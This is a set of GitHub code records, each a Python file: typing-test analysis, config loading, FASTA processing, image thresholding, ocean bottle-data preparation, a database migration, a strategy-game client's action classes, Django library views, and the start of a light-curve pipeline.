typing_speed_distribution.plot(word_speeds, filter_func=is_word)\n if \"mistypes\" in graphs:\n mistyped_words_pie_chart.plot(mistyped, filter_func=is_word)\n\n\ndef parse_args():\n \"\"\"Parses `sys.argv` and returns a dictionary suitable for `main`.\"\"\"\n parser = ArgumentParser(epilog=doc, formatter_class=RawTextHelpFormatter)\n\n default = \"(default: %(default)s)\"\n base_directory = Path(__file__).parent.parent\n results_directory = \"results\"\n parser.add_argument(\n \"graphs\",\n type=str,\n nargs=\"*\",\n default=[\"wpm\", \"dist\", \"word\", \"char\", \"mistypes\", \"duration\"],\n help=\"graphs to plot: wpm char word dist mistypes duration\\n\"\n + default,\n )\n parser.add_argument(\n \"-o\",\n \"--output\",\n type=str,\n default=f\"{base_directory}/{results_directory}/results.csv\",\n help=\"file to store results in\\n\" + default,\n )\n parser.add_argument(\n \"-m\",\n \"--mistyped\",\n type=str,\n default=f\"{base_directory}/{results_directory}/mistyped_words.csv\",\n help=\"file to store mistyped words in\\n\" + default,\n )\n parser.add_argument(\n \"-c\",\n \"--char_speeds\",\n type=str,\n default=f\"{base_directory}/{results_directory}/char_speeds.csv\",\n help=\"file to store character speeds in\\n\" + default,\n )\n parser.add_argument(\n \"-w\",\n \"--word_speeds\",\n type=str,\n default=f\"{base_directory}/{results_directory}/word_speeds.csv\",\n help=\"file to store word speeds in\\n\" + default,\n )\n\n return dict(parser.parse_args()._get_kwargs(), help=parser.print_help)\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"MasterMedo/typetest","sub_path":"typetest/analyse/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"69"} +{"seq_id":"43587467832","text":"import pathlib as pl\nfrom io import open\n\nfrom GeoSeraphim.Core.__verify_sys_config import call as VerifySysConfig\n\nclass __data:\n SYSTEM_CONFIGURATION: dict\n OUTPUT_CONFIGURATION: dict\n def __init__(self):\n self.SYSTEM_CONFIGURATION = {\n \"targets\": [],\n \"output\": \"\"\n }\n self.OUTPUT_CONFIGURATION = {\n \"name\": \"\",\n \"ext\": \"\",\n \"tags\": []\n }\n pass\n\n__DATABASE__ = __data()\n__DATABASE__.SYSTEM_CONFIGURATION = {}\n__DATABASE__.OUTPUT_CONFIGURATION = {}\n\ndef ReadSys(fp: str | pl.Path = None):\n conf = {}\n cfg = open(\n str(pl.Path(__file__).parent) + \"/sys.conf\" if fp is None else pl.Path(fp),\n \"r\", encoding=\"utf-8\"\n )\n data = cfg.readlines()\n data = [x.split(\"=\") for x in data]\n for chunk in data:\n buf: str | list\n if chunk[0].strip().lower() == \"targets\":\n buf = chunk[1].strip()[1:-1]\n buf = buf.split(\",\")\n buf = [x.strip() for x in buf]\n else:\n buf = chunk[1].strip().lower()\n conf[chunk[0].strip().lower()] = buf\n return conf\n\ndef ReadType(typ: str, loc: str = None):\n loc = (str(pl.Path(__file__).parent) if loc is None else loc) \n loc = loc + \"/\" if loc[-1] != \"/\" else loc\n fp = \"_{}.conf\".format(typ)\n conf = {}\n cfg = open(loc + fp, \"r\", encoding=\"utf-8\")\n data = cfg.readlines()\n data = [x.split(\"=\") for x in data]\n for chunk in data:\n buf: str | list\n if chunk[0].strip().lower() == \"tags\":\n buf = chunk[1].strip()[1:-1]\n buf = buf.split(\",\")\n buf = [x.strip() for x in buf]\n else:\n buf = chunk[1].strip().lower()\n conf[chunk[0].strip().lower()] = buf\n conf[\"heads\"] = {}\n for chunk in conf[\"tags\"]:\n if chunk[0] == \"{\":\n buf = chunk.strip()[1:-1].split(\":\")\n conf[\"heads\"][buf[0].strip()] = buf[1].strip()\n return conf\n\ndef call(fp: str | pl.Path = None):\n global __DATABASE__\n __DATABASE__.SYSTEM_CONFIGURATION = VerifySysConfig(ReadSys(fp))\n __DATABASE__.OUTPUT_CONFIGURATION = ReadType(\n __DATABASE__.SYSTEM_CONFIGURATION[\"output\"], \n __DATABASE__.SYSTEM_CONFIGURATION[\"root\"] \n if \"root\" in __DATABASE__.SYSTEM_CONFIGURATION.keys() \n else None)\n ","repo_name":"SilverousBlack/GeoSeraphim","sub_path":"src/GeoSeraphim/Core/__load_config.py","file_name":"__load_config.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30225360959","text":"#!/usr/bin/env python\nimport os\nimport sys\nimport re\n\nfilename_fa = sys.argv[1]\nfilename_out = re.sub(r'.fa[sta.gz]*$','',filename_fa)\n\nmin_len = 500\n\nseq_list = dict()\nseq_h = ''\n\nf_fa = open(filename_fa,'r')\nfor line in f_fa:\n if( line.startswith('>') ):\n seq_h = line.strip().split()[0].lstrip('>')\n seq_list[seq_h] = []\n else:\n seq_list[seq_h].append( line.strip() )\nf_fa.close()\n\npair_seq = dict()\nfor tmp_h in sorted(seq_list.keys()):\n tmp_seq = ''.join(seq_list[tmp_h])\n long_seq = ''\n for tmp_long_seq in tmp_seq.split('X'):\n if( len(tmp_long_seq) > len(long_seq) ):\n long_seq = tmp_long_seq\n if( len(long_seq) < min_len ):\n continue\n \n pair_id = tmp_h.split('.')[0]\n if( not pair_seq.has_key(pair_id) ):\n pair_seq[pair_id] = dict()\n pair_seq[pair_id][tmp_h] = long_seq\n\nf_pair = open('%s_pair.fa'%filename_out,'w')\nf_single = open('%s_single.fa'%filename_out,'w')\nfor tmp_p in sorted(pair_seq.keys()):\n if( len(pair_seq[tmp_p].keys()) == 2 ):\n for tmp_h in sorted(pair_seq[tmp_p].keys()):\n f_pair.write('>%s\\n%s\\n'%(tmp_h,pair_seq[tmp_p][tmp_h]))\n else:\n for tmp_h in sorted(pair_seq[tmp_p].keys()):\n f_single.write('>%s\\n%s\\n'%(tmp_h,pair_seq[tmp_p][tmp_h]))\nf_pair.close()\nf_single.close()\n","repo_name":"marcottelab/HTseq-toolbox","sub_path":"fasta/BACend-to-pair.py","file_name":"BACend-to-pair.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"35188233422","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport cv2\n\nimg = cv2.imread(\"orion_spinelli_c1.jpg\", cv2.IMREAD_COLOR)\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nimg_rgb = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\nblur = cv2.medianBlur(img_gray, 9)\n\nret, thresh = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n\nresult = cv2.bitwise_and(img_rgb,img_rgb, mask = thresh)\n\n\nplt.figure(\"main\", figsize = (6,4))\nplt.subplot(131)\nplt.title(\"Original Image\", fontsize = 8, color = \"maroon\")\nplt.xticks([]), plt.yticks([])\nplt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n\nplt.subplot(132)\nplt.title(\"Original Image\", fontsize = 8, color = \"maroon\")\nplt.xticks([]), plt.yticks([])\nplt.imshow(thresh, \"gray\")\n\nplt.subplot(133)\nplt.title(\"Original Image\", fontsize = 8, color = \"maroon\")\nplt.xticks([]), plt.yticks([])\nplt.imshow(result)\nplt.show()\n","repo_name":"DulaniDeSilva/Digital_Image_Processing","sub_path":"Exercises/spatial/ex01_another.py","file_name":"ex01_another.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34378083425","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Prepare bottle data for ML model\n# Created by Ivan Lima on Wed Jan 11 2023 20:35:51 -0500\n\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nimport os, datetime, glob, warnings\nfrom ccsm_utils import find_stn, find_stn_idx, find_closest_pt, extract_loc\nfrom cesm_utils import da2ma\nprint('Last updated on {}'.format(datetime.datetime.now().ctime()))\n\npd.options.display.max_columns = 50\nwarnings.filterwarnings('ignore')\n\n# ## Load bottle data\n\ndf_bottle = pd.read_csv('data/CODAP_combined.csv', parse_dates=['Date'], na_values=['<undefined>',-999])\n\n# add seasons\ndf_bottle.loc[df_bottle.Date.dt.month.isin([12, 1, 2]),'Season'] = 'winter'\ndf_bottle.loc[df_bottle.Date.dt.month.isin([3, 4, 5]),'Season'] = 'spring'\ndf_bottle.loc[df_bottle.Date.dt.month.isin([6, 7, 8]),'Season'] = 'summer'\ndf_bottle.loc[df_bottle.Date.dt.month.isin([9, 10, 11]),'Season'] = 'fall'\n\n# select variables\ncols = ['Accession', 'EXPOCODE', 'Cruise_ID', 'Observation_type', 'Station_ID', 'Cast_number',\n 'Niskin_ID', 'Sample_ID', 'Date', 'Latitude', 'Longitude', 'Season', 'CTDPRES',\n 'Depth', 'CTDTEMP_ITS90', 'CTDTEMP_flag', 'recommended_Salinity_PSS78',\n 'recommended_Salinity_flag', 'recommended_Oxygen', 'recommended_Oxygen_flag',\n 'DIC', 'DIC_flag', 'TALK', 'TALK_flag']\n\n# rename some variables\ncol_new_names = {'CTDPRES': 'Pressure',\n 'CTDTEMP_ITS90': 'Temperature',\n 'CTDTEMP_flag': 'Temperature_flag',\n 'recommended_Salinity_PSS78': 'Salinity',\n 'recommended_Salinity_flag': 'Salinity_flag',\n 'recommended_Oxygen': 'Oxygen',\n 'recommended_Oxygen_flag': 'Oxygen_flag'}\ndf_bottle = df_bottle[cols].rename(columns=col_new_names)\n\n# ## Clean data \n\n# Data flags:\n# - Flag = 2: good data (keep)\n# - Flag = 6: average of lab reps (keep). \n# - Flag = 3: questionable data (remove)\n# - Flag = 9: no measurement (remove)\n# - Flag = NaN: no flag given\n\ndf_bottle_dic = df_bottle.loc[df_bottle.DIC_flag.isin([2, 6])].drop(['DIC_flag'], axis=1)\ndf_bottle_dic = df_bottle_dic.loc[df_bottle_dic.Temperature_flag.isin([2, 6])].drop('Temperature_flag', axis=1)\ndf_bottle_dic = df_bottle_dic.loc[df_bottle_dic.Salinity_flag.isin([2, 6])].drop('Salinity_flag', axis=1)\n\ndf_bottle_ta = df_bottle.loc[df_bottle.TALK_flag.isin([2, 6])].drop(['TALK_flag'], axis=1)\ndf_bottle_ta = df_bottle_ta.loc[df_bottle_ta.Temperature_flag.isin([2, 6])].drop('Temperature_flag', axis=1)\ndf_bottle_ta = df_bottle_ta.loc[df_bottle_ta.Salinity_flag.isin([2, 6])].drop('Salinity_flag', axis=1)\n\n\n# ## Add atmospheric pCO2 data (annual mean) \n\n# load at pCO2 data\ndf_atm_pco2 = pd.read_csv('data/co2_annmean_mlo.csv', skiprows=59)\ndf_atm_pco2 = df_atm_pco2.rename(columns={'mean':'pCO2_atm'}).drop('unc', axis=1)\n\ndf_bottle_dic['year'] = df_bottle_dic.Date.dt.year\ndf_bottle_dic = pd.merge(df_bottle_dic, df_atm_pco2, on='year').drop('year', axis=1)\n\ndf_bottle_ta['year'] = df_bottle_ta.Date.dt.year\ndf_bottle_ta = pd.merge(df_bottle_ta, df_atm_pco2, on='year').drop('year', axis=1)\n\n\n# ## Add satellite data\n\n# extract satellite data at observation dates & locations\n\ndef extract_satellite_data(df_in):\n ssh_dir = '/bali/data/ilima/Satellite_Data/AVISO/daily/'\n sst_dir = '/bali/data/ilima/Satellite_Data/SST/NOAA_OI/'\n # sst_hr_dir = '/bali/data/ilima/Satellite_Data/SST/PO.DAAC/'\n # chl_dir = '/bali/data/ilima/Satellite_Data/Ocean_Color/Chl/daily/'\n # kd490_dir = '/bali/data/ilima/Satellite_Data/Ocean_Color/KD490/daily/'\n sst_hr_dir = '/home/ivan/Data/Postproc/Satellite_Data/PO.DAAC/'\n chl_dir = '/home/ivan/Data/Postproc/Satellite_Data/CHL/'\n kd490_dir = '/home/ivan/Data/Postproc/Satellite_Data/KD490/'\n \n df_obs = df_in.copy()\n for i in df_obs.index:\n year, month, day = df_obs.loc[i,'Date'].year, df_obs.loc[i,'Date'].month, df_obs.loc[i,'Date'].day\n doy = df_obs.loc[i,'Date'].day_of_year\n \n print('record {:4d}/{}'.format(i, df_obs.index.max()))\n\n # extract AVISO SSH data\n ssh_file = glob.glob(ssh_dir + '{}/{:02}/dt_global_allsat_phy_l4_{}{:02}{:02}_????????.nc'.format(year,month,year,month,day))\n if ssh_file:\n with xr.open_dataset(ssh_file[0]) as ds:\n lon_sat, lat_sat = np.meshgrid(ds.longitude, ds.latitude)\n lon_obs, lat_obs = df_obs.loc[i,['Longitude','Latitude']]\n lon_obs = lon_obs + 360.\n for var in ['adt','sla']:\n df_obs.loc[i,var.upper()] = extract_loc(lon_obs, lat_obs, lon_sat, lat_sat, da2ma(ds[var]))\n else:\n print('SSH i={} ({}-{:02}-{:02})'.format(i, year, month, day), end=', ')\n\n # extract SST (0.25 x 0.25 degree) data\n sst_file = glob.glob(sst_dir + '{}/{:03d}/{}*AVHRR_OI*.nc'.format(year,doy,year))\n if sst_file:\n with xr.open_dataset(sst_file[0]) as ds:\n lon_sat, lat_sat = np.meshgrid(ds.lon, ds.lat)\n lon_obs, lat_obs = df_obs.loc[i,['Longitude','Latitude']]\n data = da2ma(ds['analysed_sst'].squeeze() - 273.15) # Kelvin -> Celsius\n df_obs.loc[i,'SST'] = extract_loc(lon_obs, lat_obs, lon_sat, lat_sat, data)\n else:\n print('SST1 i={} ({}-{:02}-{:02})'.format(i, year, month, day), end=', ')\n\n # extract high res SST (0.01 x 0.01 degree) data\n # sst_hr_file = sst_hr_dir + '{}/{:03d}/{}{:02}{:02}090000-JPL-L4_GHRSST-SSTfnd-MUR-GLOB-v02.0-fv04.1.nc'.format(year,doy,year,month,day)\n sst_hr_file = sst_hr_dir + 'subset_{}{:02}{:02}090000-JPL-L4_GHRSST-SSTfnd-MUR-GLOB-v02.0-fv04.1.nc'.format(year,month,day)\n if os.path.isfile(sst_hr_file):\n with xr.open_dataset(sst_hr_file) as ds:\n lon_sat, lat_sat = np.meshgrid(ds.lon, ds.lat)\n lon_obs, lat_obs = df_obs.loc[i,['Longitude','Latitude']]\n data = da2ma(ds['analysed_sst'].squeeze() - 273.15) # Kelvin -> Celsius\n df_obs.loc[i,'SST_hires'] = extract_loc(lon_obs, lat_obs, lon_sat, lat_sat, data)\n else:\n print('SST2 i={} ({}-{:02}-{:02})'.format(i, year, month, day), end=', ')\n\n # extract surface Chl (~4.64 Km resolution)\n # chl_file = chl_dir + '{}/{:02}/{}{:02}{:02}_d-ACRI-L4-CHL-MULTI_4KM-GLO-REP.nc'.format(year,month,year,month,day)\n chl_file = chl_dir + 'subset_{}{:02}{:02}_d-ACRI-L4-CHL-MULTI_4KM-GLO-REP.nc'.format(year,month,day)\n if os.path.isfile(chl_file):\n with xr.open_dataset(chl_file) as ds:\n lon_sat, lat_sat = np.meshgrid(ds.lon, ds.lat)\n lon_obs, lat_obs = df_obs.loc[i,['Longitude','Latitude']]\n data = da2ma(ds['CHL'].squeeze())\n df_obs.loc[i,'Chl'] = extract_loc(lon_obs, lat_obs, lon_sat, lat_sat, data)\n else:\n print('Chl i={} ({}-{:02}-{:02})'.format(i, year, month, day), end=', ')\n\n # extract surface KD490 (~4.64 Km resolution)\n # kd490_file = kd490_dir + '{}/{:02}/{}{:02}{:02}_d-ACRI-L4-KD490-MULTI_4KM-GLO-REP.nc'.format(year,month,year,month,day)\n kd490_file = kd490_dir + '/subset_{}{:02}{:02}_d-ACRI-L4-KD490-MULTI_4KM-GLO-REP.nc'.format(year,month,day)\n if os.path.isfile(kd490_file):\n with xr.open_dataset(kd490_file) as ds:\n lon_sat, lat_sat = np.meshgrid(ds.lon, ds.lat)\n lon_obs, lat_obs = df_obs.loc[i,['Longitude','Latitude']]\n data = da2ma(ds['KD490'].squeeze())\n df_obs.loc[i,'KD490'] = extract_loc(lon_obs, lat_obs, lon_sat, lat_sat, data)\n else:\n print('KD490 i={} ({}-{:02}-{:02})'.format(i, year, month, day), end=' | ')\n\n return df_obs\n\n# ## Save cleaned data to CSV file\n\ndf_bottle_dic = extract_satellite_data(df_bottle_dic)\ndf_bottle_dic.to_csv('data/bottle_data_DIC_prepared.csv')\n\ndf_bottle_ta = extract_satellite_data(df_bottle_ta)\ndf_bottle_ta.to_csv('data/bottle_data_TA_prepared.csv')\n","repo_name":"idlima/ne-shelf-bgc","sub_path":"bottle_data_prepare.py","file_name":"bottle_data_prepare.py","file_ext":"py","file_size_in_byte":8020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31942904492","text":"\"\"\"Added tables\n\nRevision ID: 8a4dde785adb\nRevises: \nCreate Date: 2021-07-01 20:23:20.442276\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '8a4dde785adb'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('author',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('author_id', sa.String(length=64), nullable=True),\n sa.Column('author_name', sa.String(length=128), nullable=True),\n sa.Column('created_time', sa.TIMESTAMP(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('author_id', 'author_name', name='_author_uc')\n )\n op.create_index('idx_author', 'author', ['author_id'], unique=False)\n op.create_index('ix_author_created_on', 'author', ['created_time'], unique=False)\n op.create_index(op.f('ix_author_created_time'), 'author', ['created_time'], unique=False)\n op.create_index(op.f('ix_author_id'), 'author', ['id'], unique=False)\n op.create_table('tags',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('tag_name', sa.String(length=64), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('tag_name')\n )\n op.create_index('ix_tag_name', 'tags', ['tag_name'], unique=False)\n op.create_index(op.f('ix_tags_id'), 'tags', ['id'], unique=False)\n op.create_table('blogs',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('post_id', sa.String(length=64), nullable=True),\n sa.Column('title', sa.String(length=1024), nullable=True),\n sa.Column('blog_desc', sa.String(length=3000), nullable=True),\n sa.Column('blog_data', sa.String(), nullable=True),\n sa.Column('blog_link', sa.String(length=512), nullable=True),\n sa.Column('author_id', sa.Integer(), nullable=True),\n sa.Column('created_time', sa.TIMESTAMP(), nullable=True),\n sa.Column('read_time', sa.Integer(), nullable=True),\n sa.Column('tags', postgresql.ARRAY(sa.Integer(), as_tuple=sa.ForeignKey('tags.id')), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['author.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('post_id', 'title', 'blog_desc', 'blog_data', 'blog_link', 'author_id', 'read_time', 'tags', name='_blogs_uc')\n )\n op.create_index('idx_primary_identifier', 'blogs', ['post_id'], unique=False)\n op.create_index(op.f('ix_blogs_author_id'), 'blogs', ['author_id'], unique=False)\n op.create_index(op.f('ix_blogs_created_time'), 'blogs', ['created_time'], unique=False)\n op.create_index(op.f('ix_blogs_id'), 'blogs', ['id'], unique=False)\n op.create_index('ix_combined_created_id', 'blogs', ['post_id', 'created_time'], unique=False)\n op.create_index('ix_created_on', 'blogs', ['created_time'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('ix_created_on', table_name='blogs')\n op.drop_index('ix_combined_created_id', table_name='blogs')\n op.drop_index(op.f('ix_blogs_id'), table_name='blogs')\n op.drop_index(op.f('ix_blogs_created_time'), table_name='blogs')\n op.drop_index(op.f('ix_blogs_author_id'), table_name='blogs')\n op.drop_index('idx_primary_identifier', table_name='blogs')\n op.drop_table('blogs')\n op.drop_index(op.f('ix_tags_id'), table_name='tags')\n op.drop_index('ix_tag_name', table_name='tags')\n op.drop_table('tags')\n op.drop_index(op.f('ix_author_id'), table_name='author')\n op.drop_index(op.f('ix_author_created_time'), table_name='author')\n op.drop_index('ix_author_created_on', table_name='author')\n op.drop_index('idx_primary_identifier', table_name='author')\n op.drop_table('author')\n # ### end Alembic commands ###\n","repo_name":"AlphaRishi1229/crawler-medium","sub_path":"crawler_alembic/versions/8a4dde785adb_added_tables.py","file_name":"8a4dde785adb_added_tables.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30561226287","text":"#coding=utf-8\nimport time\nimport redis\nfrom ..config import *\n\n\nclass ActionStore(object):\n \"\"\"把action持久化\"\"\"\n def __init__(self):\n self.r = redis.StrictRedis(host='127.0.0.1', port=6379, db=0, password='random')\n\n def get_id(self, action):\n rkey = 'action:%s:%s' % (action.cmd, str(action.data))\n _id = self.r.get(rkey)\n if _id is None:\n _id = self.r.incr('action_maxid')\n self.r.set(rkey, _id)\n action.id = int(_id)\n\n\naction_store = ActionStore()\n\n\nclass Action(object):\n \"\"\"游戏action类的基类\"\"\"\n def __init__(self, user_client):\n self.store = action_store\n self.user_client = user_client\n self.id = 0\n self.cmd = None\n self.data = None\n self.time = 0\n self.status = 0\n\n def run(self):\n if self.cmd is None or self.data is None:\n return False\n self.user_client.action_state = 0\n for j in range(3):\n self.user_client.send_message(self.cmd, self.data)\n for i in range(30):\n time.sleep(0.1)\n if self.user_client.action_state == 1:\n return True\n time.sleep(1)\n return False\n\n def get_id(self):\n self.store.get_id(self)\n\n\nclass ActionBuyItem(Action):\n \"\"\"购买\"\"\"\n def __init__(self, user_client, **kwargs):\n super(ActionBuyItem, self).__init__(user_client)\n self.cmd = 'ReqBuyItem'\n self.data = {\n 'ext_info':{\n 'req_buyitem': {\n 'item_id': kwargs.get('item_id', 0),\n \t 'item_num': kwargs.get('item_num', 0)\n }\n }\n }\n self.get_id()\n\n\nclass ActionMove(Action):\n \"\"\"移动\"\"\"\n def __init__(self, user_client, **kwargs):\n super(ActionMove, self).__init__(user_client)\n self.cmd = 'ReqMove'\n pos = {'k': 0, 's': 0, 'x': 0, 'y': 0}\n self.data = {\n 'ext_info':{\n 'req_move': {\n 'target_position': kwargs.get('target_position', pos),\n \t 'from_position': kwargs.get('from_position', pos)\n }\n }\n }\n self.get_id()\n\n\nclass ActionLogin(Action):\n \"\"\"登陆\"\"\"\n def __init__(self, user_client):\n super(ActionLogin, self).__init__(user_client)\n self.cmd = 'ReqNewLogin'\n self.data = {\n 'req_login': {\n 'user_name': user_client.user_name,\n 'password': '',\n 'type': 0,\n 'language': 'English',\n 'phone_type': 1,\n 'source_ver': '0.0.1',\n 'app_ver': '0.0.1',\n }\n }\n self.get_id()\n\n\nclass ActionProgressSpeed(Action):\n \"\"\"加速\"\"\"\n def __init__(self, user_client, **kwargs):\n super(ActionProgressSpeed, self).__init__(user_client)\n self.cmd = 'ReqProgressSpeed'\n self.data = {\n 'req_progress_speed': {\n 'progress_inst_id': kwargs.get('progress_inst_id', 0),\n \t'item_id': kwargs.get('item_id', 0)\n }\n }\n self.get_id()\n\n\ndef progress_speed0(uc):\n \"\"\"agent使用 给建造加速\"\"\"\n #取进度条信息\n def get_progress():\n if uc.user_data['progress_info'].get('begin'):\n p_i_list = [uc.user_data['progress_info']]\n else:\n p_i_list = uc.user_data['progress_info'].get('progress_info', [])\n for p in p_i_list:\n if p['type'] == 1 and p['end_time'] > time.time():\n return p\n return None\n progress = get_progress()\n if progress is None:\n return 0 #不需要加速\n #取加速道具\n item_id = 0\n remaining_time = time.time() - progress['end_time']\n for i in range(17, 26):\n if config_items[i].item_param1 > remaining_time:\n item_id = i\n break\n if item_id == 0:\n return -1 #没有合适的加速道具\n if self.user_data['base_info'].get('cash', 0) < config_items[item_id].item_price:\n return -2 #没有钱买道具\n #购买加速道具\n action_buy = ActionBuyItem(uc, item_num=1, item_id=item_id)\n if not action_buy.run():\n return -3 #购买失败\n #使用道具加速\n action = ActionProgressSpeed(uc, progress_inst_id=progress['progress_inst'], item_id=item_id)\n if action.run():\n return 1 #加速成功\n return -5 #加速失败\n\ndef progress_speed(uc, remaining_time):\n \"\"\"给建造加速\"\"\"\n #取进度条信息\n def get_progress():\n if uc.user_data['progress_info'].get('begin'):\n p_i_list = [uc.user_data['progress_info']]\n else:\n p_i_list = uc.user_data['progress_info'].get('progress_info', [])\n for p in p_i_list:\n if p['type'] == 1 and p['end_time'] > time.time():\n return p\n return None\n progress = get_progress()\n if progress is None:\n return 0 #不需要加速\n #取加速道具\n item_id = 0\n for i in range(17, 26):\n if config_items[i].item_param1 > remaining_time:\n item_id = i\n break\n if item_id == 0:\n return -1 #没有合适的加速道具\n if uc.user_data['base_info'].get('cash', 0) < config_items[item_id].item_price:\n #return -2 #没有钱买道具\n uc.add_cash(10000)\n time.sleep(1)\n #购买加速道具\n action_buy = ActionBuyItem(uc, item_num=1, item_id=item_id)\n if not action_buy.run():\n return -3 #购买失败\n #使用道具加速\n action = ActionProgressSpeed(uc, progress_inst_id=progress['progress_inst'], item_id=item_id)\n if action.run():\n return 1 #加速成功\n return -5 #加速失败\n","repo_name":"levelupai/rl-slg","sub_path":"env/malaclient/mlxk/actions/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5779,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"69"} +{"seq_id":"30182423234","text":"import os\n\n\nfrom django.core.paginator import Paginator\nfrom django.db.models.functions import Coalesce, Lower\nfrom django.http import HttpResponse, Http404\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.shortcuts import render, get_object_or_404, redirect\n\nfrom FreeLibrary import settings\nfrom books.forms import AddBookForm\nfrom .models import Book, Gender, Comment, Author\n\n\ndef index(request):\n book_list = Book.books.order_by(Lower('pub_date').desc()).filter(public=True)\n paginator = Paginator(book_list, 8) # Show 8 book per page\n\n page = request.GET.get('page')\n books = paginator.get_page(page)\n context = {\n 'books': books,\n 'categories': Gender.categories.all(),\n 'authors': Author.authors.all(),\n\n }\n\n return render(request, 'books/index.html', context)\n\n\n@login_required\ndef add_book(request):\n if request.method == \"POST\":\n form = AddBookForm(request.POST, request.FILES)\n if form.is_valid():\n blog_item = form.save(commit=False)\n blog_item.user = request.user\n blog_item.save()\n\n return redirect('books:index')\n\n else:\n form = AddBookForm()\n return render(request, 'books/new.html', {'form': form})\n\n\n@login_required\ndef download_book(request, book):\n file_path = os.path.join(settings.MEDIA_ROOT, book)\n if os.path.exists(file_path):\n with open(file_path, 'rb') as fh:\n response = HttpResponse(fh.read(), content_type=\"application/\")\n response['Content-Disposition'] = 'inline; filename=' + os.path.basename(file_path)\n # download = Download.objects.create(user=request.user)\n return response\n\n raise Http404\n\n\ndef search(request):\n q = request.GET.get('q', '')\n books = Book.books.filter(name__icontains=q)\n\n context = {\n 'books': books,\n 'categories': Gender.categories.all(),\n 'authors': Author.authors.all(),\n 'nofound': count_query(books),\n }\n return render(request, 'books/index.html', context)\n\n\ndef detail_book(request, book_id):\n book = get_object_or_404(Book, pk=book_id)\n\n return render(request, 'books/detail.html',\n {'book': book, 'comments': Comment.comments.filter(book_id__exact=book_id)})\n\n\n@login_required\ndef recommend_book(request, book_id):\n book = get_object_or_404(Book, pk=book_id)\n book.recommended = book.recommended + 1\n book.save()\n return HttpResponse(\"Tu has recomendado este libro %s.\" % book_id)\n\n\ndef category(request, category):\n books = Book.books.filter(gender__name__icontains=category)\n\n context = {\n 'books': books,\n 'categories': Gender.categories.all(),\n 'authors': Author.authors.all(),\n 'no_book_category': count_query(books)\n }\n return render(request, 'books/index.html', context)\n\n\ndef author(request, author):\n books = Book.books.filter(author__name__icontains=author)\n\n context = {\n 'books': books,\n 'categories': Gender.categories.all(),\n 'authors': Author.authors.all(),\n 'no_book_author': count_query(books)\n }\n return render(request, 'books/index.html', context)\n\n\ndef count_query(query):\n \"\"\"\"\n Vertifica que la query devuelva mas de un registro\n \"\"\"\n result = False\n if query.count() < 1:\n result = True\n return result\n","repo_name":"Karrol/FreeLibrary","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33117213175","text":"#! /usr/bin/env python\n\n# Generic Stage 4 light curve generation pipeline\n\n\"\"\"\n# Proposed Steps\n# -------- -----\n# 1. Read in Stage 3 data products\n# 2. Replace NaNs with zero\n# 3. Determine wavelength bins\n# 4. Increase resolution of spectra (optional)\n# 5. Smooth spectra (optional)\n# 6. Applying 1D drift correction\n# 7. Generate light curves\n# 8. Save Stage 4 data products\n# 9. Produce plots\n\"\"\"\nimport sys, os, time, shutil\nimport numpy as np\nimport scipy.interpolate as spi\nimport matplotlib.pyplot as plt\nfrom ..lib import logedit\nfrom ..lib import readECF as rd\nfrom ..lib import manageevent as me\nfrom ..lib import astropytable\nfrom . import plots_s4\nfrom . import drift\nfrom importlib import reload\nreload(drift)\nreload(plots_s4)\n\ndef lcJWST(eventlabel, workdir, meta=None):\n #expand=1, smooth_len=None, correctDrift=True\n '''\n Compute photometric flux over specified range of wavelengths\n\n Parameters\n ----------\n eventlabel : Unique identifier for these data\n workdir : Location of save file\n meta : metadata object\n\n Returns\n -------\n event object\n\n History\n -------\n Written by Kevin Stevenson June 2021\n\n '''\n #load savefile\n if meta == None:\n meta = me.load(workdir + '/S3_' + eventlabel + '_Meta_Save.dat')\n\n # Load Eureka! control file and store values in Event object\n ecffile = 'S4_' + eventlabel + '.ecf'\n ecf = rd.read_ecf(ecffile)\n rd.store_ecf(meta, ecf)\n\n # Create directories for Stage 4 processing\n datetime= time.strftime('%Y-%m-%d_%H-%M-%S')\n meta.lcdir = meta.workdir + '/S4_' + datetime + '_' + str(meta.nspecchan) + 'chan'\n if not 